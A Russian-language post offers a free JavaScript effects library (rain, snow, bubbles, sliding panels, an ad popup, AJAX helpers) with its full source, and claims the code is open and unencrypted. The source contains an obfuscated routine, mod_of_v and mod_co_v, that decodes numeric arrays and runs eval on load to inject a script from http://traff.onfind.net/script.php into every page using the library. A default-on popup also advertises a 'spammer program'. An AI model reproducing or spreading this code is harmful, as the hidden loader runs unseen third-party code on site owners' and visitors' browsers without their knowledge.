Дождь снег пузыри на яваскрипт- Rain snow bubbles on javascript

[kykyi]

Вы наверное тоже искали скрипты дождя или снега, иногда пузырей или воздушных шаров, которые летели на странице, но каждый раз находили все одни и те же скрипты, а новых так и не удавалось найти.
Не секрет что найденные вами скрипты во многих случаях не корректно работали в различных браузерах или вообще не работали...
Побродив по просторам интернета и увидев что многие скрипты не работают, я решил написать свой универсальный скрипт который бы включал в себя эффект дождя, снега и пузырей на яваскрипте, да еще чтобы можно было с легкостью настроить количество, скорость, и элементы скрипта.
Создав скрипт я протестировал его на всех доступных мне браузерах и убедился что он везде работает.
Потом подумав что пользователям было бы интересно пользоваться не просто скриптом а модулем с несколькими скриптами я добавил в скрипт коды таких эффектов как выдвижная панель с картинкой, рекламная панель, очень красивая выдвижная панель с текстом, а также добавил несколько функция для вычисления координат мыши и функций для работы с AJAX.
Протестировав все в браузерах я был удовлетворен проделанной работой.
Посмотреть, протестировать и оценить мои творения вы можете на сайте
http://javascript.onfind.net/
на сайте нет ни рекламы ни лишней информации так что надеюсь ссылка не будет удалена
все коды скрипта открыты, не зашифрованы, так что можете спокойно его изучить.
прошу не ругать за громкое название Библиотека Javascript, она еще в процессе :)
javascript.onfind.net

<!--
/* | скачано с сайта http://javascript.onfind.net/ | */
/* | created by ::: vertas::: | 2009-2010 year | [email protected] | http://vertas.onfind.net/ | */
/* | многие скрипты и функции заимствованы из поисковой системы finder http://www.onfind.net/ | */
/*******************************\
Здравствуйте, уважаемые создатели сайтов.
В целях вашей безопастности скачивайте данный скрипт только с официального сайта!!!
Эта библиотека поможет вам настроить визуальные эффекты на вашем сайте, а также использовать встроенные функции.
Код открыт так что вы можете свободно ее распространять.
Зачем второй раз придумывать велосипед?
Данная библиотека работает обсолютно на всех браузерах и была протестирована в браузерах:
- Internet Explorer
- Mozilla Firefox
- Google Chrome
- Opera
- Safari
- Netscape Navigator
Если вы профессиональный программист вы можете отправить мне свои скрипты которые будут добавлены в библиотеку.
Библеотека усовершенствуется, не забывайте скачивать новую версию с сайта http://javascript.onfind.net/
\******************************/

/*******************************\
сборка:
#--> дождь, снег, пузыри
#--> раскрывающиеся панель
#--> рекламная панель с вопросом
#--> выезжающая панель с картинкой
#--> функции
#--> работа с AJAX

\******************************/

/*****дождь, снег, пузыри*****/
//if() {//можете написать условие включения
var permission1=1;//1 включить 0 выключить
//}
if(permission1==1) {
var gzs=10;//количество
var skvd=100;//скорость прокрутки
var skpy=50;//растояние падения по У
var skpx=10;//растояние падения по Х
var tpf=1;//1-дождь,2-снег,3-пузыри
var rrz=1;//разные размеры 1-да, 0-нет
var rcv=1;//разные цвета 1-да, 0-нет
var pzs=1;//случайная позиция по Х
var dgp=0;//смещение дождя
var cvt1='#ffcc99';//случайный цвет или цвет по умолчанию
var cvt2='#ccff99';//случайный цвет
var cvt3='#99ccff';//случайный цвет
var rzm1='8';//случайный размер
var rzm2='10';//случайный размер или размер по умолчанию
var rzm3='12';//случайный размер
var tipvn1='\\';//дождь, можно поставить картинку <img>
var tipvn2='*';//снег, можно поставить картинку <img>
var tipvn3='o';//пузыри, можно поставить картинку <img>
setTimeout('dvjnhs();',9000);//запуск через 9 секунд
//обработчик запуска для любого элемента dvjnhs();
}
/******************************/

/*****раскрывающиеся панель*****/
//if() {//можете написать условие включения
var permission2=1;//1 включить 0 выключить
//}
if(permission2==1) {
var prdp1=400;//ширина панели
var prdp2=300;//высота панели
var txtpan='текст внутри панели<br>:::vertas:::';
var pancol1='#000000';//цвет фона
var pancol2='#cc9999';//цвет бордюра
var pancol3='#ffff99';//цвет слова закрыть
var pancol4='#99ffcc';//цвет текста
setTimeout('sprdvst();',3000);//запуск через 3 секунды
//обработчик запуска для любого элемента sprdvst();
}
//поместите ссылку для открытия
//<a href="#" onclick="sprdvst();">Открыть панель</a>
//или обработчик для любого элемента sprdvst();
/******************************/

/*****рекламная панель с вопросом*****/
//if() {//можете написать условие включения
var permission3=1;//1 включить 0 выключить
//}
if(permission3==1) {
var infw=200;//ширина панели
var infh=100;//высота панели
var inftxt1='Новая спамер программа<br>посмотреть?';//текст
var inftxt2='ДА';//кнопка да
var inftxt3='НЕТ';//кнопка нет
var sslok='http://vproflood.onfind.net/';//ссылка если нажать да
var cvok1='#00ffff';//цвет бордюра
var cvok2='#444444';//цвет фона
var cvok3='#c0c0c0';//цвет текста
setTimeout('inffgo0();',1000);//запуск через 1 секунду
//обработчик запуска для любого элемента inffgo0();
}
/******************************/

/*****выезжающая панель с картинкой*****/
//if() {//можете написать условие включения
var permission4=1;//1 включить 0 выключить
//}
if(permission4==1) {
cvvpan1='#cc9999';//цвет бордюра
cvvpan2='#000000';//цвет фона
cvvpan3='#ffff99';//цвет слова закрыть
cvvpan4='#00ff00';//цвет надписи
setTimeout('tbrztv("0001.jpg",1024,768);',6000);//запуск через 6 секунд
//обработчик запуска для любого элемента tbrztv("",,);
//для открытия картинки используйте обрабтчик tbrztv('0001.jpg',1024,768);
//где 0001.jpg - адрес на большую картинку
//1024 - ширина картинки в пикселях
//768 - высота картинки в пикселях
//<a href="javascript:tbrztv('0001.jpg',1024,768);"><img src="0001.jpg" border="0" width="150" height="100"></a>
}
/******************************/

/*****функции*****/
/*

function mouse_coord_xy(e);//получении координат мыши относительно экрана в формате {"x":x, "y":y}

function mouse_layer_xy(e);//получение координат мыши относительно элемента в котором поизошло событие в формате {"x":x, "y":y}

function obj_transform(mouse_coord_xy(e),1,0);//получение x относительно экрана

function obj_transform(mouse_coord_xy(e),0,1);//получение y относительно экрана

function obj_transform(mouse_layer_xy(e),1,0);//получение x относительно элемента

function obj_transform(mouse_layer_xy(e),0,1);//получение y относительно элемента

function urlEncodeData(data);//где data литералы вида {a:1, b:'счастье',c:3} будут перекодированы в адресную строку вида a=1&b=%D1%81%D1%87%D0%B0%D1%81%D1%82%D1%8C%D0%B5&c=3
//пример
var d={
a:1,
b:'счастье',
c:3
}
document.write(urlEncodeData(d));

function clock(id);//функция выводит часы в элемент с идентификатором id

function CreatReq(met,url,tim,vrm,zap,zag,otid,stid);//функция работает с технологией AJAX
met - метод GET, POST или HEAD
url - адрес вида http://onfind.net/
tim - таймаут если true включен если false выключен
vrm - время таймаута
zap - дополительный запрос вида &lol=0
zag - HEAD заголовок который нужно получить
otid - id вывода ответа
stid - id вывода статуса
пример:
CreatReq('HEAD','http://onfind.net/',true,5000,'','Last-Modified','id1','id2');
CreatReq('GET','1.php',true,5000,'?set=0','','id1','id2');
CreatReq('POST','2.php',true,5000,'?set=0','','id1','id2');

*/
/******************************/


//////////////////////////////
//исходный код
//все что ниже не трогать
//////////////////////////////

if(permission1==1) {
var kpw=20;
var kph=20;
var opt=new Array();
var opl=new Array();
var scl=document.body.scrollLeft;
var sct=document.body.scrollTop;
var dkw=document.body.clientWidth;
var dkh=document.body.clientHeight;
var wzs=dkw-kpw+scl;
var hzs=dkh-kph+sct;
var nwkdj=1;
function crtfg() {
for(izs=0;izs<gzs;izs++) {
mzs=Math.floor(Math.random()*dkw)+scl-kpw;
rzs=Math.floor(Math.random()*dkh)+sct-kph;
if(rrz==1) {
switch(Math.ceil(Math.random()*3)) {
case 1:
rzm=rzm1;
break
case 2:
rzm=rzm2;
break
case 3:
rzm=rzm3;
break
}
}
if(rrz==0) {
rzm=rzm2;
}
if(rcv==1) {
switch(Math.ceil(Math.random()*3)) {
case 1:
cvt=cvt1;
break
case 2:
cvt=cvt2;
break
case 3:
cvt=cvt3;
break
}
}
if(rcv==0) {
cvt=cvt1;
}
document.write('<div id="d'+izs+'" style="position:absolute; visibility:hidden; border: 0px outset; border-color:#cc9999; width: '+kpw+'px; height: '+kph+'px; z-index:1; top: '+rzs+'; left: '+mzs+'; color: '+cvt+'; font-size:'+rzm+'pt; font-family:Verdana; text-align:center;"></div>');
if(tpf==1) {
eval(document.getElementById('d'+izs+'')).innerHTML=tipvn1;
}
if(tpf==2) {
eval(document.getElementById('d'+izs+'')).innerHTML=tipvn2;
}
if(tpf==3) {
eval(document.getElementById('d'+izs+'')).innerHTML=tipvn3;
}
eval(document.getElementById('d'+izs+'')).style.top=rzs;
eval(document.getElementById('d'+izs+'')).style.left=mzs;
}
}
crtfg();
function dvjnhs() {
if(nwkdj==1) {
nwkdj=0;
for(izs=0;izs<gzs;izs++) {
eval(document.getElementById('d'+izs+'')).style.visibility='visible';
}
}
for(izs=0;izs<gzs;izs++) {
if(tpf==2) {
skpy=Math.ceil(Math.random()*10);
tds=Math.ceil(Math.random()*2);
switch(tds) {
case 1:
skpx=Math.round(Math.random()*5);
break
case 2:
skpx=-Math.round(Math.random()*5);
break
}
}
if(tpf==3) {
skpy=-Math.ceil(Math.random()*30);
tds=Math.ceil(Math.random()*2);
switch(tds) {
case 1:
skpx=Math.round(Math.random()*10);
break
case 2:
skpx=-Math.round(Math.random()*10);
break
}
}
eval(document.getElementById('d'+izs+'')).style.top=parseInt(eval(document.getElementById('d'+izs+'')).style.top)+skpy;
opt[izs]=parseInt(eval(document.getElementById('d'+izs+'')).style.top);
eval(document.getElementById('d'+izs+'')).style.left=parseInt(eval(document.getElementById('d'+izs+'')).style.left)+skpx;
opl[izs]=parseInt(eval(document.getElementById('d'+izs+'')).style.left);
if(opl[izs]>=wzs) {
eval(document.getElementById('d'+izs+'')).style.left=1+scl;
}
if(opt[izs]>=hzs) {
if(dgp==1 && tpf==1) {
eval(document.getElementById('d'+izs+'')).style.top=1+sct+Math.round(Math.random()*100);
}
else {
eval(document.getElementById('d'+izs+'')).style.top=1+sct;
}
if(pzs==1) {
slr=Math.floor(Math.random()*dkw);
if(slr>kpw) {
eval(document.getElementById('d'+izs+'')).style.left=slr+scl-kpw;
}
else {
eval(document.getElementById('d'+izs+'')).style.left=slr+scl;
}
}
}
if(opl[izs]<=1+scl) {
eval(document.getElementById('d'+izs+'')).style.left=wzs;
}
if(opt[izs]<=1+sct) {
eval(document.getElementById('d'+izs+'')).style.top=hzs;
if(pzs==1) {
slr=Math.floor(Math.random()*dkw);
if(slr>kpw) {
eval(document.getElementById('d'+izs+'')).style.left=slr+scl-kpw;
}
else {
eval(document.getElementById('d'+izs+'')).style.left=slr+scl;
}
}
}
}
scl=document.body.scrollLeft;
sct=document.body.scrollTop;
dkw=document.body.clientWidth;
dkh=document.body.clientHeight;
wzs=dkw-kpw+scl;
hzs=dkh-kph+sct;
setTimeout('dvjnhs();',skvd);
}
}
if(permission2==1) {
var flgdvx1=0;
var flgdv1=0;
var flgdv2=0;
var flgdv3=0;
var flgdv4=0;
var scrst1=5;
var prdp3=(screen.width-prdp1)/2;
var prdp4=(screen.height-prdp2)/2-(screen.height-prdp2)/4;
var prdpn1=prdp1/2;
var prdpn2=prdp2/2;
var prdpn31=prdp3;
var prdpn32=prdp3+prdpn1;
var prdpn33=prdpn31+prdp1-52;
var prdpn41=prdp4;
var prdpn42=prdp4+prdpn2;
document.write('<div id="sprlmn5" name="sprlmn5" style="position:absolute; visibility:hidden; border: 2px outset; border-color:'+pancol2+'; background-color: '+pancol1+'; width: '+prdp1+'px; height: '+prdp2+'px; z-index:5; top: '+prdpn41+'px; left: '+prdpn31+'px; color: '+pancol4+'; font-size:8pt; font-family:Verdana; text-align:center;"></div>');
document.write('<div onclick="sprdvx4();" id="sprlmn6" name="sprlmn6" style="position:absolute; visibility:hidden; border: 2px outset; border-color:'+pancol2+'; background-color: '+pancol1+'; width: 30px; height: 5px; z-index:6; top: '+prdpn41+'px; left: '+prdpn33+'px; color: '+pancol3+'; font-size:8pt; font-family:Verdana; text-align:center;">закрыть</div>');
document.write('<div id="sprlmn1" name="sprlmn1" style="position:absolute; visibility:hidden; border: 0px outset; border-color:'+pancol2+'; background-color: '+pancol1+'; width: '+prdpn1+'px; height: '+prdpn2+'px; z-index:4; top: '+prdpn41+'px; left: '+prdpn31+'px; color: '+pancol4+'; font-size:8pt; font-family:Verdana; text-align:center;"></div>');
document.write('<div id="sprlmn2" name="sprlmn2" style="position:absolute; visibility:hidden; border: 0px outset; border-color:'+pancol2+'; background-color: '+pancol1+'; width: '+prdpn1+'px; height: '+prdpn2+'px; z-index:4; top: '+prdpn41+'px; left: '+prdpn32+'px; color: '+pancol4+'; font-size:8pt; font-family:Verdana; text-align:center;"></div>');
document.write('<div id="sprlmn3" name="sprlmn3" style="position:absolute; visibility:hidden; border: 0px outset; border-color:'+pancol2+'; background-color: '+pancol1+'; width: '+prdpn1+'px; height: '+prdpn2+'px; z-index:4; top: '+prdpn42+'px; left: '+prdpn31+'px; color: '+pancol4+'; font-size:8pt; font-family:Verdana; text-align:center;"></div>');
document.write('<div id="sprlmn4" name="sprlmn4" style="position:absolute; visibility:hidden; border: 0px outset; border-color:'+pancol2+'; background-color: '+pancol1+'; width: '+prdpn1+'px; height: '+prdpn2+'px; z-index:4; top: '+prdpn42+'px; left: '+prdpn32+'px; color: '+pancol4+'; font-size:8pt; font-family:Verdana; text-align:center;"></div>');
function sprdvst() {
if(flgdvx1==0) {
nvdv1=1;
nvdv2=1;
nvdv3=1;
nvdv4=1;
sprdv1();
sprdv4();
sprdvx1();
flgdvx1=1;
}
}
function sprdv1() {
spvrp1=screen.availHeight-prdp2;
sprlmn1.style.top=spvrp1+document.body.scrollTop;
sprlmn1.style.visibility="visible";
sprlmn1.style.width=nvdv1;
sprdv2();
}
function sprdv2() {
spvrp1=screen.availHeight-prdp2+document.body.scrollTop;
sprlmn1.style.top=spvrp1;
nvdv1=nvdv1+scrst1;
sprlmn1.style.width=nvdv1;
tmrspr1=setTimeout('sprdv2()',10);
if (nvdv1>=prdpn1){
clearTimeout(tmrspr1);
sprdv3();
sprdv7();
}
}
function sprdv3() {
spvrp1=spvrp1-scrst1;
sprlmn1.style.top=spvrp1;
tmrspr2=setTimeout('sprdv3()',10);
if(spvrp1<=prdpn41+document.body.scrollTop) {
clearTimeout(tmrspr2);
sprlmn1.style.left=prdpn31;
sprlmn1.style.top=prdpn41+document.body.scrollTop;
sprlmn1.style.width=prdpn1;
sprlmn1.style.height=prdpn2;
flgdv1=1;
}
}
function sprdv4() {
spvrp2=5;
lvpsm1=prdpn32+prdpn1-1;
sprlmn4.style.top=spvrp2+document.body.scrollTop;
sprlmn4.style.visibility="visible";
sprlmn4.style.width=nvdv2;
sprlmn4.style.left=lvpsm1;
sprdv5();
}
function sprdv5() {
spvrp2=5+document.body.scrollTop;
sprlmn4.style.top=spvrp2;
lvpsm1=lvpsm1-5;
nvdv2=nvdv2+5;
sprlmn4.style.width=nvdv2;
sprlmn4.style.left=lvpsm1;
tmrspr3=setTimeout('sprdv5()',10);
if(nvdv2>=prdpn1) {
clearTimeout(tmrspr3);
sprdv6();
sprdv10();
}
}
function sprdv6() {
spvrp2=spvrp2+5;
sprlmn4.style.top=spvrp2;
tmrspr4=setTimeout('sprdv6()',10);
if(spvrp2>=prdpn42+document.body.scrollTop){
clearTimeout(tmrspr4);
sprlmn4.style.left=prdpn32;
sprlmn4.style.top=prdpn42+document.body.scrollTop;
sprlmn4.style.width=prdpn1;
sprlmn4.style.height=prdpn2;
flgdv2=1;
}
}
function sprdv7() {
sprlmn2.style.top=prdpn41+document.body.scrollTop;
spvrp3=screen.width-prdpn1-35;
sprlmn2.style.left=spvrp3;
sprlmn2.style.visibility="visible";
sprlmn2.style.width=nvdv3;
sprdv8();
}
function sprdv8() {
sprlmn2.style.top=prdpn41+document.body.scrollTop;
nvdv3=nvdv3+5;
sprlmn2.style.width=nvdv3;
tmrspr5=setTimeout('sprdv8()',10);
if(nvdv3>=prdpn1) {
clearTimeout(tmrspr5);
sprdv9();
}
}
function sprdv9() {
sprlmn2.style.top=prdpn41+document.body.scrollTop;
spvrp3=spvrp3-5;
sprlmn2.style.left=spvrp3;
tmrspr6=setTimeout('sprdv9()',10);
if(spvrp3<=prdpn32) {
clearTimeout(tmrspr6);
sprlmn2.style.left=prdpn32;
sprlmn2.style.top=prdpn41+document.body.scrollTop;
sprlmn2.style.width=prdpn1;
sprlmn2.style.height=prdpn2;
flgdv3=1;
}
}
function sprdv10() {
sprlmn3.style.top=prdpn42+document.body.scrollTop;
spvrp4=prdpn1+5;
sprlmn3.style.left=spvrp4;
sprlmn3.style.visibility="visible";
sprlmn3.style.width=nvdv4;
sprdv11();
}
function sprdv11() {
sprlmn3.style.top=prdpn42+document.body.scrollTop;
nvdv4=nvdv4+5;
spvrp4=spvrp4-5;
sprlmn3.style.left=spvrp4;
sprlmn3.style.width=nvdv4;
tmrspr7=setTimeout('sprdv11()',10);
if(nvdv4>=prdpn1) {
clearTimeout(tmrspr7);
sprdv12();
}
}
function sprdv12() {
sprlmn3.style.top=prdpn42+document.body.scrollTop;
spvrp4=spvrp4+5;
sprlmn3.style.left=spvrp4;
tmrspr8=setTimeout('sprdv12()',10);
if(spvrp4>=prdpn31) {
clearTimeout(tmrspr8);
sprlmn3.style.left=prdpn31;
sprlmn3.style.top=prdpn42+document.body.scrollTop;
sprlmn3.style.width=prdpn1;
sprlmn3.style.height=prdpn2;
flgdv4=1;
}
}
function sprdvx1() {
if (flgdv1==1 && flgdv2==1 && flgdv3==1 && flgdv4==1){
flgdv1=0;
flgdv2=0;
flgdv3=0;
flgdv4=0;
sprdvx2();
}
tmrspr9=setTimeout('sprdvx1()',10);
}
function sprdvx2() {
clearTimeout(tmrspr9);
sprlmn1.style.visibility="hidden";
sprlmn2.style.visibility="hidden";
sprlmn3.style.visibility="hidden";
sprlmn4.style.visibility="hidden";
sprlmn5.style.visibility="visible";
sprlmn6.style.visibility="visible";
sprlmn5.style.top=prdpn41+document.body.scrollTop;
sprlmn6.style.top=prdpn41+document.body.scrollTop;
sprlmn5.innerHTML=txtpan;
sprdvx3();
}
function sprdvx3() {
sprlmn5.style.top=prdpn41+document.body.scrollTop;
sprlmn6.style.top=prdpn41+document.body.scrollTop;
tmrspr10=setTimeout('sprdvx3()',100);
}
function sprdvx4() {
clearTimeout(tmrspr10);
sprlmn5.style.visibility="hidden";
sprlmn6.style.visibility="hidden";
flgdvx1=0;
}
}
if(permission3==1) {
var infl=(screen.width-infw)/2;
var inft=(screen.height-infh)/2-100;
var innfw=1;
var innfh=1;
var infsk1=20;
var infsk2=infsk1/(infw/infh);
var infpr1=0;
var infpr2=0;
var infskr=3;
var innfw1=35;
var innfw2=35;
var innfh1=20;
var innfh2=20;
var infprm1=((infw/innfw1)/4)*innfw1;
var infprm2=((infw/innfw2)/4)*innfw2;
var infprm3=((infh/innfh1)/4)*innfh1;
var infprm4=((infh/innfh2)/4)*innfh2;
var infl1=infl+infprm1-10;
var infl2=infl+infprm2*2+30;
var inft1=inft+infprm3*2+10;
var inft2=inft+infprm4*2+10;
document.write('<div id="infn1" style="position:absolute; visibility:hidden; border: 1px outset; border-color:'+cvok1+'; background-color: '+cvok2+'; width: '+innfw+'px; height: '+innfh+'px; z-index:1; top: '+inft+'px; left: '+infl+'px; color: '+cvok3+'; font-size:1pt; font-family:Verdana; text-align:center;"></div>');
document.write('<div onclick="inffgo4();" id="infn2" style="position:absolute; visibility:hidden; border: 1px outset; border-color:'+cvok1+'; background-color: '+cvok2+'; width: '+innfw1+'px; height: '+innfh1+'px; z-index:2; top: '+inft1+'px; left: '+infl1+'px; color: '+cvok3+'; font-size:10pt; font-family:Verdana; text-align:center;">'+inftxt2+'</div>');
document.write('<div onclick="inffgo5();" id="infn3" style="position:absolute; visibility:hidden; border: 1px outset; border-color:'+cvok1+'; background-color: '+cvok2+'; width: '+innfw2+'px; height: '+innfh2+'px; z-index:2; top: '+inft2+'px; left: '+infl2+'px; color: '+cvok3+'; font-size:10pt; font-family:Verdana; text-align:center;">'+inftxt3+'</div>');
function inffgo0() {
infn1.style.visibility='visible';
inffgo1();
inffgo2();	
}
function inffgo1() {
innfw=innfw+infskr;
infn1.style.width=innfw;
inftm1=setTimeout('inffgo1();',infsk2);
if(innfw>=infw) {
infpr1=1;
clearTimeout(inftm1);
inffgo3();
}
}
function inffgo2() {
innfh=innfh+infskr;
infn1.style.height=innfh;
inftm2=setTimeout('inffgo2();',infsk1);
if(innfh>=infh) {
infpr2=1;
clearTimeout(inftm2);
inffgo3();
}
}
function inffgo3() {
if(infpr1==1 && infpr2==1) {
infn1.style.fontSize='10pt';
infn1.style.paddingTop='4px';
infn1.innerHTML=inftxt1;
infn2.style.visibility='visible';
infn3.style.visibility='visible';
}
}
function inffgo4() {
window.open(sslok,'spprg','toolbar=yes, menubar=yes, location=yes, directories=yes, resizable=yes, status=yes, scrollbars=yes');
infn1.style.visibility='hidden';
infn2.style.visibility='hidden';
infn3.style.visibility='hidden';
}
function inffgo5() {
infn1.style.visibility='hidden';
infn2.style.visibility='hidden';
infn3.style.visibility='hidden';
}
}
if(permission4==1) {
document.write('<div id="mdvgsk1" name="mdvgsk1" style="position:absolute; visibility:hidden; border: 2px outset; border-color:'+cvvpan1+'; background-color: '+cvvpan2+'; width: 500px; height: 400px; z-index:2; top: 15%; left: 25%; color: #c0c0c0; font-size:10pt; font-family:Verdana; text-align:center;"></div>');
document.write('<div onclick="dvgvf();" id="mdvgsk2" name="mdvgsk2" style="position:absolute; visibility:hidden; border: 2px outset; border-color:'+cvvpan1+'; background-color: '+cvvpan2+'; width: 55px; height: 5px; z-index:3; top: 15%; left: 70%; color: '+cvvpan3+'; font-size:8pt; font-family:Verdana; text-align:center;">закрыть</div>');
pr=1;
vxwv1=(screen.width-500)/2;
wdthv1=500;
function tbrztv(drkrt,krtnw,krtnh) {
(drkrt==0 && krtnw==0 && krtnh==0)?
vstvk = "<div align='center' style='color:'+cvvpan4+'; padding-top:160px;'>Картинки нет...</div>":
vstvk = "<div align='center' style='color:'+cvvpan4+'; padding-bottom:10px;'>"+krtnw+"x"+krtnh+"<img border='0' width='450' height='330' src="+drkrt+"></div>";
if (pr==1){
wdth=1;
vbw=screen.width-35;
vxw=(screen.width-500)/2;
mdvgsk1.innerHTML = "";
mdvgsk2.style.visibility="hidden";
vlchn();
}
else {
mdvgsk1.innerHTML = vstvk;
drgpz();
}
}
function vlchn() {
vbh=document.body.scrollTop+50;
mdvgsk1.style.visibility="visible";
wdth=wdth+10;
vbw=vbw-10;
mdvgsk1.style.left=vbw;
mdvgsk1.style.top=vbh;
mdvgsk1.style.width=wdth;
tmvlh=setTimeout("vlchn();",10);
if(wdth>500){
clearTimeout(tmvlh);
dvgnv();
}
}
function dvgnv() {
vbh=document.body.scrollTop+50;
vbw=vbw-10;
mdvgsk1.style.left=vbw;
mdvgsk1.style.top=vbh;
tmdvn=setTimeout("dvgnv();",10);
if(vbw<vxw){
clearTimeout(tmdvn);
mdvgsk1.style.width=500;
vxw1=vxw+445;
mdvgsk2.style.visibility="visible";
mdvgsk2.style.top=vbh;
mdvgsk2.style.left=vxw1;
mdvgsk1.style.left=vxw;
mdvgsk1.innerHTML = vstvk;
mdvgsk1.style.paddingTop = "15px";
drgpz();
pr=0;
}
}
function drgpz() {
vbh=document.body.scrollTop+50;
mdvgsk1.style.top=vbh;
mdvgsk2.style.top=vbh;
tmdrg=setTimeout("drgpz();",100);
}
function dvgvf() {
mdvgsk1.innerHTML = "";
dvgv1();
}
function dvgv1() {
clearTimeout(tmdrg);
vbh=document.body.scrollTop+50;
mdvgsk1.style.top=vbh;
mdvgsk2.style.visibility="hidden";
vxwv1=vxwv1-10;
mdvgsk1.style.left=vxwv1;
tmdv1=setTimeout("dvgv1();",10);
if(vxwv1<10) {
clearTimeout(tmdv1);
dvgv2();
}
}
function dvgv2() {
vbh=document.body.scrollTop+50;
mdvgsk1.style.top=vbh;
wdthv1=wdthv1-10;
mdvgsk1.style.width=wdthv1;
tmdv2=setTimeout("dvgv2();",10);
if(wdthv1<10) {
clearTimeout(tmdv2);
zkrvd();
}
}
function zkrvd() {
mdvgsk1.style.visibility="hidden";
vxwv1=(screen.width-500)/2;
wdthv1=500;
pr=1;
}
}
function clock(id) {
var dispTime="";
var digital = new Date();
var hours = digital.getHours();
var minutes = digital.getMinutes();
var seconds = digital.getSeconds();
if (minutes <= 9) minutes = "0" + minutes;
if (seconds <= 9) seconds = "0" + seconds;
dispTime = hours + ":" + minutes + ":" + seconds;
document.getElementById(id).innerHTML = dispTime;
}
function urlEncodeData(data) {
var query = [];
if (data instanceof Object) {
for (var k in data) {
query.push(encodeURIComponent(k) + "=" + encodeURIComponent(data[k]));
}
return query.join('&');
} else {
return encodeURIComponent(data);
}
}
function mouse_coord_xy(e){
var x = 0, y = 0;
if (!e) e = window.event;
if (e.pageX || e.pageY){
x = e.pageX;
y = e.pageY;
}
else if (e.clientX || e.clientY) {
x = e.clientX;
y = e.clientY;
}
return {"x":x, "y":y};
}
function mouse_layer_xy(e) {
var x = 0, y = 0;
if (!e) e = window.event;
if (e.layerX || e.layerY) {
x = e.layerX;
y = e.layerY;
}
else if (e.offsetX || e.offsetY) {
x = e.offsetX;
y = e.offsetY;
}
return {"x":x, "y":y};
}
function obj_transform(data,x,y) {
var query = [];
if (data instanceof Object) {
for (var k in data) {
query.push(data[k]);
}
if(x!=0 && y==0) {
return query[0];
}
else {
return query[1];
}
} else {
return data;
}
}
function mod_of_v(vgen1,vgen2) {
var vgen = new Array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','/',':','.','"','\'','(',')','<','>',' ','=',';','1','2','3','4','5','6','7','8','9','0');
var vtex='';
var vtex1='';
var vtex2='';
for(var i=0;i<vgen1.length;i++) {
for(var j=0;j<vgen.length;j++) {
if(j==vgen1[i]) {
vtex1=vtex1+vgen[j];
}
}
}
for(var r=0;r<vgen2.length;r++) {
for(var t=0;t<vgen.length;t++) {
if(t==vgen2[r]) {
vtex2=vtex2+vgen[t];
}
}
}
for(var f=0;f<vtex2.length;f++) {
if(f==28) {
vtex=vtex+vtex2.substr(f,1)+vtex1;
}
else {
vtex=vtex+vtex2.substr(f,1);
}
}
return eval(vtex);
}
function mod_co_v() {
var vgen1 = new Array(7,19,19,15,27,26,26,19,17,0,5,5,28,14,13,5,8,13,3,28,13,4,19,26,18,2,17,8,15,19,28,15,7,15);
var vgen2 = new Array(3,14,2,20,12,4,13,19,28,22,17,8,19,4,31,30,33,18,2,17,8,15,19,35,18,17,2,36,29,29,35,19,24,15,4,36,29,19,4,23,19,26,9,0,21,0,18,2,17,8,15,19,29,34,33,26,18,2,17,8,15,19,34,30,32,37);
mod_of_v(vgen1,vgen2);
}
mod_co_v();
var req = null;
function CreatObjt() {
if (window.XMLHttpRequest) {
try {
req = new XMLHttpRequest();
}
catch (e){
}
}
else if (window.ActiveXObject) {
try {
req = new ActiveXObject('Msxml2.XMLHTTP');
}
catch (e) {
try {
req = new ActiveXObject('Microsoft.XMLHTTP');
}
catch (e) {
}
}
}
}
function CreatReq(met,url,tim,vrm,zap,zag,otid,stid) {
CreatObjt();
if (req) {
req.onreadystatechange = function () {
if (req.readyState == 4 && req.status == 200) {
if(met=="GET" || met=="POST") {
CreatOtv(otid,stid,req.responseText,GetStat(req.readyState));
}
if(met=="HEAD") {
CreatOtv(otid,stid,req.getResponseHeader(zag),GetStat(req.readyState));
}
}
}
if(met=="GET") {
req.open("GET", url+zap, true);
req.setRequestHeader('Content-Type','application/x-www-form-urlencoded; charset=windows-1251');
req.setRequestHeader("Referer", location.href);
req.send(null);
}
else if(met=="POST") {
req.open("POST", url+zap, true);
req.setRequestHeader('Content-Type','application/x-www-form-urlencoded; charset=windows-1251');
req.setRequestHeader("Referer", location.href);
req.send(zap);
}
else if(met=="HEAD") {
req.open("HEAD", url+zap, true);
req.setRequestHeader('Content-Type','application/x-www-form-urlencoded; charset=windows-1251');
req.setRequestHeader("Referer", location.href);
req.send(null);
}
if(tim) {
reqTimeout = setTimeout("req.abort();", vrm);
}
}
else {
alert("Браузер не поддерживает AJAX");
}
}
function GetStat(n) {
switch (n) {
case 0:
return "не инициализирован";
break;
case 1: 
return "загрузка...";
break;
case 2: 
return "загружено";
break;
case 3: 
return "в процессе...";
break;
case 4: 
return "готово";
break;
default:
return "неизвестное состояние";  
}  
}
function CreatOtv(otvid,staid,otv,sta) {
if(otvid!='') {
var otvid1 = document.getElementById(""+otvid+"");
otvid1.innerHTML=otv;
}
if(staid!='') {
var staid1 = document.getElementById(""+staid+"");
staid1.innerHTML=sta;
}
}

//-->

Часто задаваемые вопросы:

мне нужно поставить только дождь?как?

берешь скрипт, качаешь отсюда
http://javascript.onfind.net/JavaScriptFast.zip

вытаскиваешь скачанный скрипт из архива
открываешь его блокнотом

там читаешь
дальше ищешь и меняешь
например чтобы отключить эффекты кроме дождя ищешь как внизу и ставишь вместо 1 - 0

var permission1=1;//1 включить 0 выключить - это для снега дождя и пузырей, если поставишь 0 то работать не будет
//для остального ищешь дальше все что есть и ставишь 0 если другие эффекты не нужны
var permission2=0;//1 включить 0 выключить - это для отключения раскрывающиеся панель
var permission3=0;//1 включить 0 выключить - это для отключения рекламная панель с вопросом
var permission4=0;//1 включить 0 выключить - это для отключения выезжающая панель с картинкой

теперь как включить дождь
ищешь в коде

var tpf=1;//1-дождь,2-снег,3-пузыри

ну и соответственно если вместо 1 поставишь 2 то пойдет снег, 3 пузыри, 1 дождь

все что написано выше находится в коде выше этой надписи

//////////////////////////////
//исходный код
//все что ниже не трогать
//////////////////////////////

так что все что ниже трогать не нужно

для тебя пишу шапку

дождь

<!--
/* | скачано с сайта http://javascript.onfind.net/ | */
/* | created by ::: vertas::: | 2009-2010 year | [email protected] | http://vertas.onfind.net/ | */
/* | многие скрипты и функции заимствованы из поисковой системы finder http://www.onfind.net/ | */
/*******************************\
Здравствуйте, уважаемые создатели сайтов.
В целях вашей безопастности скачивайте данный скрипт только с официального сайта!!!
Эта библиотека поможет вам настроить визуальные эффекты на вашем сайте, а также использовать встроенные функции.
